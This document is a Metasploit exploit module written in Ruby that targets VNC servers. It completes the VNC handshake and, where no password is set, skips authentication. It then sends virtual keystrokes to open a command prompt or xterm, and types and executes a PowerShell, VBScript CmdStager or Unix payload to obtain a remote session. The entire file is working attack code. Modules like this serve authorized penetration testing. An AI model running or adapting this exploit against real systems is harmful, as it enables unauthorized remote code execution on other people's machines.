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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/exploitation'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  WINDOWS_KEY = "\xff\xeb"
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  ENTER_KEY = "\xff\x0d"
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::Powershell
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'VNC Keyboard Remote Code Execution',
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        'Description' => %q{
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          This module exploits VNC servers by sending virtual keyboard keys and executing
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          a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager
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          payload is typed and executed. On Unix/Linux systems a xterm terminal is opened
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          and a payload is typed and executed.
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        },
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        'Author' => [ 'xistence <xistence[at]0x90.nl>' ],
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        'Privileged' => false,
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        'License' => MSF_LICENSE,
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        'Platform' => %w{win unix},
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        'Targets' => [
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          [ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
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          [ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],
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          [ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
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        ],
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        'References' => [
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          [ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/']
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        ],
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        'DisclosureDate' => '2015-07-10',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(5900),
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        OptString.new('PASSWORD', [ false, 'The VNC password']),
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        OptInt.new('TIME_KBD_DELAY', [ true, 'Delay in milliseconds when typing long commands (0 to disable)', 50]),
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        OptInt.new('TIME_KBD_THRESHOLD', [ true, 'How many keystrokes between each delay in long commands', 50]),
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        OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
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      ]
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    )
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  end
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  def post_auth?
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    true
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  end
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  def press_key(key)
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    keyboard_key = "\x04\x01" # Press key
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    keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
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    keyboard_key << key # The keyboard key
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    # Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
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    sock.put(keyboard_key)
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  end
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  def release_key(key)
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    keyboard_key = "\x04\x00" # Release key
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    keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
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    keyboard_key << key # The keyboard key
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    # Release the keyboard key. Note: No receive is done as everything is sent in one long data stream
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    sock.put(keyboard_key)
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  end
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  def exec_command(command)
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    # Timing configuration: Typing a long command too fast may overload the tagret's keyboard buffer
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    delay_duration = datastore['TIME_KBD_DELAY']
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    delay_treshold = datastore['TIME_KBD_THRESHOLD']
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    delay_treshold = 0 if delay_treshold < 0 or delay_duration <= 0
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    delay_duration = delay_duration.to_f / 1000
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    # Break down command into a sequence of keypresses
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    values = command.chars.to_a
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    values.each_with_index do |value, index|
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      press_key("\x00#{value}")
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      release_key("\x00#{value}")
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      sleep(delay_duration) if delay_treshold > 0 and index % delay_treshold == 0
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    end
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    press_key(ENTER_KEY)
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  end
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  def start_cmd_prompt
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    print_status("#{rhost}:#{rport} - Opening Run command")
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    # Pressing and holding windows key for 1 second
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    press_key(WINDOWS_KEY)
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    Rex.select(nil, nil, nil, 1)
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    # Press the "r" key
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    press_key("\x00r")
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    # Now we can release both keys again
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    release_key("\x00r")
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    release_key(WINDOWS_KEY)
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    # Wait a second to open run command window
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    select(nil, nil, nil, 1)
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    exec_command('cmd.exe')
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    # Wait a second for cmd.exe prompt to open
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    Rex.select(nil, nil, nil, 1)
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  end
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  def exploit
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    begin
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      alt_key = "\xff\xe9"
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      f2_key = "\xff\xbf"
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      password = datastore['PASSWORD']
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      connect
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      vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
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      unless vnc.handshake
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        fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")
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      end
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      if password.nil?
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        print_status("#{rhost}:#{rport} - Bypass authentication")
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        # The following byte is sent in case the VNC server end doesn't require authentication (empty password)
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        sock.put("\x10")
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      else
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        print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")
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        if vnc.authenticate(password)
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          print_status("#{rhost}:#{rport} - Authenticated")
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        else
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          fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")
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        end
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      end
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      # Send shared desktop
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      unless vnc.send_client_init
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        fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")
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      end
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      if target.name =~ /VBScript CMDStager/
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        start_cmd_prompt
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        print_status("#{rhost}:#{rport} - Typing and executing payload")
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        execute_cmdstager({ :flavor => :vbs, :linemax => 8100 })
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        # Exit the CMD prompt
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        exec_command('exit')
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      elsif target.name =~ /Powershell/
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        start_cmd_prompt
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        print_status("#{rhost}:#{rport} - Typing and executing payload")
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        command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true })
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        # Execute powershell payload and make sure we exit our CMD prompt
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        exec_command("#{command} && exit")
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      elsif target.name =~ /Linux/
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        print_status("#{rhost}:#{rport} - Opening 'Run Application'")
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        # Press the ALT key and hold it for a second
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        press_key(alt_key)
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        Rex.select(nil, nil, nil, 1)
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        # Press F2 to start up "Run application"
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        press_key(f2_key)
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        # Release ALT + F2
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        release_key(alt_key)
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        release_key(f2_key)
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        # Wait a second for "Run application" to start
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        Rex.select(nil, nil, nil, 1)
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        # Start a xterm window
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        print_status("#{rhost}:#{rport} - Opening xterm")
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        exec_command('xterm')
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        # Wait a second for "xterm" to start
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        Rex.select(nil, nil, nil, 1)
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        # Execute our payload and exit (close) the xterm window
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        print_status("#{rhost}:#{rport} - Typing and executing payload")
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        exec_command("nohup #{payload.encoded} &")
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        exec_command('exit')
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      end
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      print_status("#{rhost}:#{rport} - Waiting for session...")
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      (datastore['TIME_WAIT']).times do
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        Rex.sleep(1)
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        # Success! session is here!
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        break if session_created?
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      end
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    rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
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      fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
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    ensure
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      disconnect
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    end
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  end
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  def execute_command(cmd, opts = {})
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    exec_command(cmd)
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  end
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end
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